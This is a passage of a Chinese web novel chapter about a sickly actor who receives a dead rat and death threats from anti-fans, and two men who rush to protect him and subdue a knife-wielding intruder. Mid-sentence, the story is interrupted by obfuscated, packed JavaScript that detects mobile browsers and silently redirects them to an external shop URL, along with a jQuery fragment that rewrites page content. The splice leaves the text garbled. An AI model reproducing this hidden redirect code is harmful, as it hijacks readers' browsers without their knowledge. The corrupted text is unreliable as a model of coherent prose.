或许是物业?或者是之前网购的东西?
顾怀清虽然觉得蹊跷,但还是小心翼翼地打开了门,将那个没有任何寄件人信息的纸箱拿了进来。
他回到客厅,用剪刀划开胶带。
当纸箱打开,看清里面的东西时,顾怀清浑身的血液仿佛在瞬间冻结了。
里面根本不是什么快递物品,而是一只死状凄惨、浑身僵硬的老鼠尸体!
老鼠的旁边,还散落着几张打印出来的A4纸,上面用猩红色,歪歪扭扭的大字写满了恶毒的诅咒:
“顾怀清去死!!!”
“你怎么还不死!心脏病怎么不发作!”
“垃圾!人渣!滚出娱乐圈!”
这些恶意如同冰冷的巨蟒,瞬间缠紧了顾怀清的脖颈,让他无法呼吸。
心脏像是被一只无形的手狠狠攥住,疯狂地抽搐绞痛起来,即使有强心药剂的支撑,也抵挡不住这种源自灵魂深处的惊悸。
顾怀清从未直面过这样巨大的恶意。
他猛地后退几步,撞在冰冷的墙壁上,手中的剪刀“哐当”一声掉在地上。
脸色瞬间褪得惨白如纸,没有一丝血色。他张大嘴,却发不出任何声音,眼泪不受控制地夺眶而出,顺着苍白的脸颊滑落,不是因为悲伤,而是极致的恐惧和巨大的委屈。
那些网络上冰冷的文字化作了眼前触目惊心的实物,这种赤裸裸的恶意,让他感到无比的害怕与委屈。
与此同时,《潜影》剧组正在郊外一处相对偏僻的取景地拍摄一场野外搜捕戏。
拍摄间隙,苏予安习惯性地拿出手机,想快速浏览一下信息,看看网络上是否有什么需要关注的。
然而,他刚点开微博,就看到私信和评论区涌入了大量不堪入目的辱骂,甚至有人得意洋洋地@顾怀清,附上了顾怀清收到恐怖包裹的“战果”图片,以及更加恶毒的诅咒。
而这个微博账号是顾怀清的,苏予安知道顾怀清身体不好,不敢让他看这些,所以都是他在登录这个账号。
当看到那些针对本体的,具体到住址和实物的恐怖威胁时,一股冰冷的寒意和滔天的怒火,同时席卷了苏予安的意识。
苏予安握着手机的手指瞬间收紧,指节泛白,那双常年冰冷的眸子里,第一次不受控制地迸发出骇人的戾气。
周身散发的低气压,让旁边正准备跟他说话的场务都下意识地后退了一步。
“怎么了?”一个低沉的声音在身边响起。
是谢君临。
他刚结束一个镜头的补拍,走过来就看到苏予安脸色阴沉得可怕,周身气息冰寒刺骨,与平日里的冷漠截然不同。
苏予安猛地抬起头,看向谢君临。
此刻的顾怀清,本体正被巨大的恐惧笼罩,情绪处于极度脆弱和混乱的状态,以至于对马甲的操控都出现了一丝不稳,那份属于本体的惊惶和愤怒,清晰地映射在了苏予安的脸上。
他几乎是咬着牙,从齿缝里挤出几个字,声音因为压抑着怒火而显得异常沙哑:“有人给他寄了死老鼠……恐吓信……”
这个“他”指的是谁,不言而喻。
谢君临的心猛地一沉,他瞬间想起了之前看到的热搜,那些恶毒的评论,以及顾怀清那形销骨立的脆弱模样。
寄恐吓信和死老鼠?这些黑粉已经疯狂到这种地步了?
一个更可怕的念头如同闪电般划过谢君临的脑海。
他自己刚出道时,也经历过类似的事情,甚至有偏激的黑粉试图泼硫酸。
幸好当时保镖反应迅速才没出事。
可顾怀清呢?他一个人住,还有严重的心脏病,身边连个保镖都没有。
如果寄包裹只是开始,万一有更极端的粉丝直接找上门……
谢君临的脸色瞬间也变得凝重无比,他当机立断,一把抓住苏予安的手臂,语气斩钉截铁,带着不容置疑的力度:
“还拍什么戏,赶紧回去看看!万一有人上门就麻烦了!”
苏予安被他这句话点醒,是啊,包裹都能寄到,那些疯子找上门又有什么奇怪?
本体现在一个人在家,毫无反抗之力。
他立刻就要往外冲,却被谢君临再次拉住。
“这里偏僻,打不到车,开我的车去!”谢君临语速极快,一边说一边已经拿出手机给助理打电话,“今天的戏帮我跟导演请个假,有急事,车钥匙给我。”
助理在电话那头似乎有些犹豫,但听出谢君临语气中的不容置疑,还是立刻应下。
谢君临接过助理匆匆送来的车钥匙,拉着苏予安,几乎是跑着来到了停车场。
一辆黑色的越野车安静地停在那里。
“上车。”谢君临拉开车门,率先坐进驾驶座。
苏予安没有任何犹豫,迅速坐进副驾驶。
安全带刚系好,越野车如同离弦之箭般冲出了拍摄地,朝着顾怀清公寓的方向疾驰而去。
谢君临的车技很好,在确保安全的前提下,将速度提到了最高。
车内的气氛压抑得让人窒息,苏予安紧抿着唇,目光死死盯着前方,周身散发着的焦灼和冰冷混杂的气息,让谢君临都感到心惊。
他一边专注开车,一边用眼角的余光观察着苏予安。
这个男人此刻表现出来的,是一种近乎本能的对某个人安危的极度担忧。
这更加印证了谢君临之前的猜测——顾怀清对苏予安而言,绝对是非常重要的存在。
车子一路飞驰,终于抵达了顾怀清所住的公寓楼下。
两人甚至来不及等电梯,直接冲上了楼梯。
苏予安用备用钥匙猛地打开房门,冲了进去。
客厅里,顾怀清依旧蜷缩在墙角,身体微微发抖,脸色惨白,脸上还挂着未干的泪痕。
那个打开的纸箱就散落在他不远处,里面的东西一览无余。
看到苏予安冲进来,顾怀清仿佛溺水之人抓住了唯一的浮木,一直强撑着的坚强瞬间崩溃,眼泪再次汹涌而出,声音颤抖得不成样子:“予安……”
苏予安快步上前,蹲下身,小心翼翼地避开那个恶心的包裹,将顾怀清轻轻揽住。
“没事了……我来了。”苏予安的声音依旧是低沉的,却与他平日的冰冷截然不同。
他轻轻拍着顾怀清单薄的背脊,动作有些僵硬,却充满了保护意味。
谢君临跟在后面进来,看到的就是这样一幕——脆弱美丽的青年如同受惊的雏鸟般蜷缩在冷峻男人的怀里,而那个平时对谁都冷冰冰的苏予安,此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767056|190206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻正用一种笨拙却温柔的姿态,安抚着怀中的人。
他的目光扫过地上那个散发着恶意的包裹,眉头紧紧锁起,眼神变得锐利而冰冷。
这些网络上的蛆虫,竟然真的敢把触手伸到现实里来。
就在这时,房门突然被粗暴地敲响,伴随着一个充满戾气的,含糊不清的男声在外面叫骂:“顾怀清,你个缩头乌龟,滚出来!你以为躲起来就没事了吗?!”
房间内的三人脸色都是一变。
顾怀清吓得浑身一颤,下意识地往苏予安怀里缩去。
苏予安眼神一厉,就要起身。
“我去。”谢君临按住他的肩膀,声音冷静得可怕。
他示意苏予安照顾好顾怀清,自己则迈步走到门后,并没有立刻开门,而是再次透过猫眼向外看去。
只见一个穿着邋遢,神色亢奋癫狂的年轻男人正站在门外,一只手疯狂地捶打着房门,另一只手里,赫然握着一把明晃晃的水果刀。
谢君临眼中寒光一闪,果然来了。
他深吸一口气,猛地拉开了房门。
门外的男人显然没料到门会突然打开,愣了一下,随即挥舞着水果刀就要往里冲,嘴里不干不净地骂着:“顾怀清,我杀了你……”
他的话还没说完,谢君临已经动了。
他动作快如闪电,侧身避开刺来的水果刀,一只手精准地擒住对方持刀的手腕,用力一拧。
另一只手同时扣住对方的肩膀,脚下步伐一错,一个干净利落的擒拿,瞬间将那个狂躁的男人死死地按倒在地。
“哐当!”水果刀掉落在走廊的地面上,发出清脆的声响。
整个过程不过两三秒钟,那个刚才还嚣张无比的黑粉,已经像条死狗一样被谢君临牢牢制服,只能发出痛苦的呻吟和无能的咒骂。
谢君临用膝盖顶住他的后腰,掏出手机,直接报警。
做完这一切,他才抬起头,看向屋内。
苏予安已经将顾怀清护在了身后,隔绝了门口的视线。
但谢君临还是能看到,顾怀清那张苍白得毫无血色的脸,以及那双漂亮眼睛里尚未散去的、如同惊弓之鸟般的恐惧。
警察很快赶到,带走了那个持刀的黑粉和作为证据的恐怖包裹,恐吓信。
喧闹过后,公寓里重新恢复了安静。
顾怀清在苏予安的搀扶下,坐在沙发上,依旧惊魂未定,手指冰凉。
谢君临关上门,走到客厅,看着眼前这对“朋友”,一个脆弱得仿佛一碰即碎,一个冷硬却满眼担忧。
他沉吟片刻,开口打破了沉默,声音比平时柔和了许多:“这里已经不安全了。地址泄露,难保不会有第二个、第三个这样的人找上门。”
他的目光落在顾怀清苍白的脸上,语气带着一种不容置疑:“我在城西有个公寓小区,安保级别很高,闲杂人等根本进不去。如果你们不介意,可以先搬过去暂住一段时间,等风头过去再说。”
顾怀清此刻大脑一片空白,刚才持刀黑粉上门的那一幕还在他眼前不断回放,强烈的后怕让他根本无法冷静思考。
听到谢君临的话,他几乎是下意识地,寻求安全感般地,慌乱地点了点头,声音微不可闻:“……好,谢谢……谢谢谢先生。”